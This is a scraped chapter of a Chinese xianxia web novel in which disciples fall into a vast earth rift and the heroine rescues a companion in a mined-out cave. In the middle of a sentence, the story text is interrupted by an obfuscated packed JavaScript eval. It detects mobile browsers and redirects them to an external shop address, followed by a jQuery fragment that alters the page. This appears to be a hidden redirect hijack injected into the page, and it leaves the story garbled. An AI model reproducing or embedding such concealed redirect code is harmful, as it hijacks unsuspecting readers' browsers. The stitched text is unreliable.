云船在空中平稳航行,容星阑在甲板上吹了一会风,决定不荒废时日,回房闭目修行。
辛辛苦苦积攒了几个月的修为在一夕之间全无,她看上去云淡风轻,实则很是肉疼。
毕竟她并非修行天才,修为全是魂体一剑一剑练出来的。
才转身,船身猛然一跌,身体陡然失重,甲板上的修士一阵惊呼。陈辞反应极快,瞬间抓住容星阑。
“怎么回事?”荀陆机一手拉住文徽徽,一手紧紧抓着栏杆,向云船下方看去。
云雾缭绕,云船下山川延绵,隐隐可见大地之上的城池和村庄。
就在如此广袤无垠而富有生机的大地上,横然一条狰狞的大江般的裂缝,山崩地陷,城池和村庄被忽然生出的巨大地裂撕碎坍塌。
“我*!这不是……”荀陆机的话还没说完,甲板上惊呼连天:“那是什么东西!”
容星阑闻声回头朝地面看去。四人皆面色大变,云船上其他修士或许不曾见过,但四人心知下方的地裂几乎与他们在万象境中遇见的裂缝如出一辙,只是……
文徽徽为下方景象震惊:“又是地裂!”
只是地面上的裂缝比万象境中的裂缝足足宽出十倍不止,从云船上向下看,像是大地分裂成了两半。
不少长老察觉动静出舱,立于高空中满脸肃容地凝视地面裂缝。
坏头蛇在房间里看向窗外,再次想起梦中的道音,惊恐喃喃:“我嘞个老天,这是要玩完啊!”
容星阑站稳,云船又是一沉,那条横亘在地面上的裂缝深不见底,开始冒出乌黑色的阴气。阴气冲天,阴风阵阵,很快波及云船,吹得云船飘摇不定。
后面的两艘云船亦为下方景象惊停,三大仙家早在路上分道航出。容星阑心头微惊,思及昨日偷听到的玉映尘和裴劭安的对话,直觉不妙。
这地裂不早不晚、不偏不倚,偏在昆吾云船回山的路上裂开,很难不让她多心。
地面上的景象触目惊心,对于凡尘之人而言横出如此天灾人祸,与生灵涂炭又有何异?
正此时,一阵不容抗拒的吸力自地裂上升出,云船本与地裂所在的上空保持了些许距离,此时竟无灵催动而自动向前航去,直至地裂上空,变故陡生!
立于高空中的昆吾长老忽然坠到云船之上,船上众修灵气均失,一丝灵力都使不出来,甲板上所有弟子终于生出事情不受控制的恐慌。但到底是昆吾剑君,即便心中不安,亦握着腰间的剑,死死盯着下方的地裂。
就在此时,云船的浮空灵阵失去作用,在地裂的吸力下骤然下坠,霎时甲板上惊呼阵阵,陈辞紧紧抓住容星阑的手。
然而吸力中又夹杂着罡风,罡风猎猎,掀起堆放在甲板上的木箱和其他物什,一根断裂的长杆砸向容星阑,她连忙以青荷剑作挡,陈辞以虚室剑将其斩开。二人这一动作使紧握住的手懈了力,不敌罡风之威,在下坠中被迫松开对方。
“星阑!”
耳边尽是风声和混乱的惊叫声,三艘云船,所有昆吾弟子皆坠于地裂深渊。
浓郁的阴气裹挟着容星阑,将她席卷不知何处。在这凛冽的阴气罡风中,她昏了过去。
*
滴答——
石洞内的一滴液珠本应滴落在下方的浅水滩中,只是水滩上约几寸的空中浮空躺了一人,使液珠滴在那人的眉眼间。
又一滴液珠落下时,容星阑陡然醒来,挥袖挡去将要滴至脸上的液珠。
这一番动作使她险些翻滚在地,将将稳住身形,就听坏头蛇在她耳边道:“星阑,你终于醒了!”
容星阑忆起昏前的事,微微一愣,问道:“你怎么在这里?”
刚问完,便看到从她身后立起来的无妄剑。
坏头蛇道:“无妄带我来的,云船掉了下来,四分五裂。在云船失去控制的第一时间无妄就带我飞出来寻你了。”
容星阑一面向四周看去,一面问:“其他人呢?”
坏头蛇豆圆的蛇眼显出一分哀怜,道:“你没醒来的时候,我去外面看了看,情况不大好。”
容星阑早有预料,万丈高空,修士倚仗灵力,在突然无法运用灵气的情况下,即便是昆吾剑君亦难存活。虽然不抱希望,她还是问道:“你写的时候,可有安排这一段故事情节?”
坏头蛇遥头:“星阑,现在的世界已经不能以我写的世界看待了,我觉得,它要崩坏了!我们必须尽快找出我原书中‘觉醒’的角色!”
“找出来了,然后呢?”
坏头蛇被问题噎住,丧气道:“我到底为什么会来这个世界来啊?我一点用处也没有!按理说,没有无缘无故的穿越,也不会出现无缘无故的……”
它突然止住了声音,容星阑问:“什么?”
坏头蛇看她一眼:“也不会出现无缘无故的重生。”
容星阑身为此世界中人,只知世事乃命运使然,从不去想发生的缘由,是以并不明白它所说的话的含义,不解道:“为何这么说?”
坏头蛇叹气:“我们写故事的,不会安排无用的情节。如果从写故事的角度来看,一切看似离奇的事都是伏笔,一切看似无关的事可能互为因果。”
容星阑明白了:“你的意思是,你到我们的世界来,是有原因的,或者是要承担什么使命的。而我的重生,也是有原因的。”
她默了默:“要阻止崩坏,就要找出原因。”
坏头蛇:“就是这个意思。”
容星阑环顾暗洞,洞内只有无妄发出的一丝微弱的红色剑光,她看不清洞顶究竟有多高,从水滴落到地面的声音判断,应当是一个很广阔的暗洞,道:“当务之急,还是先活着出去。这是哪里?”
坏头蛇:“我们在地裂下面。这个地裂像个无底洞,无妄拖着你飞了很久,才在崖壁上寻到这一处暗洞。”
“对了!”它的蛇尾指指外面,“差点忘了!我看到了文徽徽,她被她的法器承托着,飘在地裂中,暂时不受罡风侵扰,但是看样子也快坚持不住了,快去救她!”
容星阑当即凝出一道离火符照明,顺着坏头蛇的指引向快步走向洞外,走的时候看清洞内之景,才知道何为方才坏头蛇口中的‘情况不大好’。
暗洞中的地面上全是被风吹过来的东西,若说这些是东西,也不准确,但要说那些是尸体,也不尽然。
地面上衣物夹带着一些肢体肉碎,全是被罡风撕碎的修士肉身。
她快步走着,将地面之物尽收眼底,心彻底沉了下去。
昆吾遭此祸事,到底是不是扶苍山的作为?此次前来除祟的弟子全是金丹以上的修为,在罡风下竟如此不堪一击。陈辞、清元、荀陆机他们可还安好?
容星阑按捺中心中忧思,她要赶紧救下文徽徽。
很快就到了洞口。还未到洞口时,罡风就将她的发丝吹得胡乱飞扬,文徽徽在距离洞口数丈高的地方飘着,她也昏迷了过去,躺在一只莲花样式的灵气罩里,灵气罩在罡风中岿然不动,将她护在里面。
灵气罩上幽蓝色的灵光肉眼可见的黯淡,容星阑抬指弹出一道大壮符压在灵气罩上,使灵气罩下沉到与洞口平齐的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236267|193063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方,祭出无妄剑:“把她推过来。”
无妄剑一去一回,转瞬间将文徽徽所在的灵气罩推到洞中。才到洞内不过半刻钟,灵气罩到了极限,啪地碎开。
坏头蛇跳到她脸上,以尾巴感应了一下她的鼻息,道:“还活着。”
容星阑道:“她只是在风中晕了。”
说完,指尖凝出一道复符没入文徽徽心脉。文徽徽重伤未愈,复符可增快她身体自我修复。
趁文徽徽未醒,容星阑将地面上的残骸都堆到了一起。这些弟子大都只有金丹修士,未结元婴,肉身消亡便是神魂的消亡。同门一场,容星阑将其整理妥当,凝出离火符。
生于天地,归于天地,好过修行数年,落得个一地狼藉。
火星子噼啪,里面炸出一个物什来,容星阑捡起来看了看,是挂在剑鞘上的一只祈吉令。祈吉令不知什么材料炼成,火烧不化,一面刻着‘吉’,一面刻着‘匡’。她将其收在怀里,若还能回昆吾,再送还给这位师兄的师门。
不多时,文徽徽悠悠转醒,一醒来就摸腰间的剑,见眼前燃着火,火光后面坐着的是容星阑,才松了口气,呐声道:“星阑。”
她抬眼看了看四周,似乎在搜寻着什么,问:“这是何处?”
“地裂中的一处暗洞。”容星阑解释道,“此地只有我们二人,待你调息一会,我们再去找出路。”
文徽徽点头表示了然,没有问自己怎么会在这里,直接默认是容星阑救了她。她的目光在洞中探寻,看着洞顶凝结的晶柱,柱尖蓄着液珠,蓄满后滴落下来,落在她的衣袖上。
她抬手闻了闻,容星阑道:“怎么了?”
文徽徽摇了摇头,她觉得洞中有一股熟悉的味道,却想不起来在哪里闻到过。她自小修习炼器之道,对材料很是敏感,也没能从脑海中翻出这种味道的液体。
“地裂下面居然有这样一处暗洞,”文徽徽道,“若不是在地裂里面,这里倒像是一处……”
“空了的灵脉。”容星阑接过话,她在文徽徽昏睡的时候在洞中查探了一番,这并不是一处封闭的洞穴,里面很深,通往不知道什么地方。
而在洞中,有很多挖掘开采的痕迹,这痕迹容星阑虽然不熟悉,却能感知到上面残留的灵气。
文徽徽看着浸在衣袖上的液珠,默然片刻,道:“若是我阿娘在,定能知道这是什么。”
提及文徽徽的娘,容星阑便想到她娘应当也曾下过莽荒鬼山冥河下的裂缝,问道:“你知不知道扶苍山派你娘去冥河下是去做什么的?”
之前文徽徽只道她爹娘和扶苍山其他弟子一起除祟,但容星阑见了冥河下的‘养尸场’,自然知道不可能是除祟那么简单。而文徽徽一向聪敏超出常人,几番见了裂缝,思及阿娘的画稿,自知爹娘下冥河绝不是为了除祟。
文徽徽陷入回忆:“虽然我不知道,但也大概猜的出来。我娘能辨世间各类材料,她最擅长炼制兵器,很多法宝除了她,没有人能炼制出来。掌门很器重她,是以即便我于炼器上没什么天赋,也能留在扶苍上,和那些天骄一起学习。”
“大概是有什么东西,带不出冥河,只能在冥河中炼制罢。”
容星阑不由想起冥河下拴着浮尸的锁灵链,那些链条极其粗大,竟全是传说中大九州才有的无垢玄铁炼制而成。思及此,当即想要祭出一缕阴气,顾忌文徽徽,她想了想,接下一滴液珠,来到洞口处。
果不其然,乌黑色的阴气本应猎猎上升,居然分出极其细微的一缕隐入液体之中,容星阑惊道:“这是无垢玄铁!”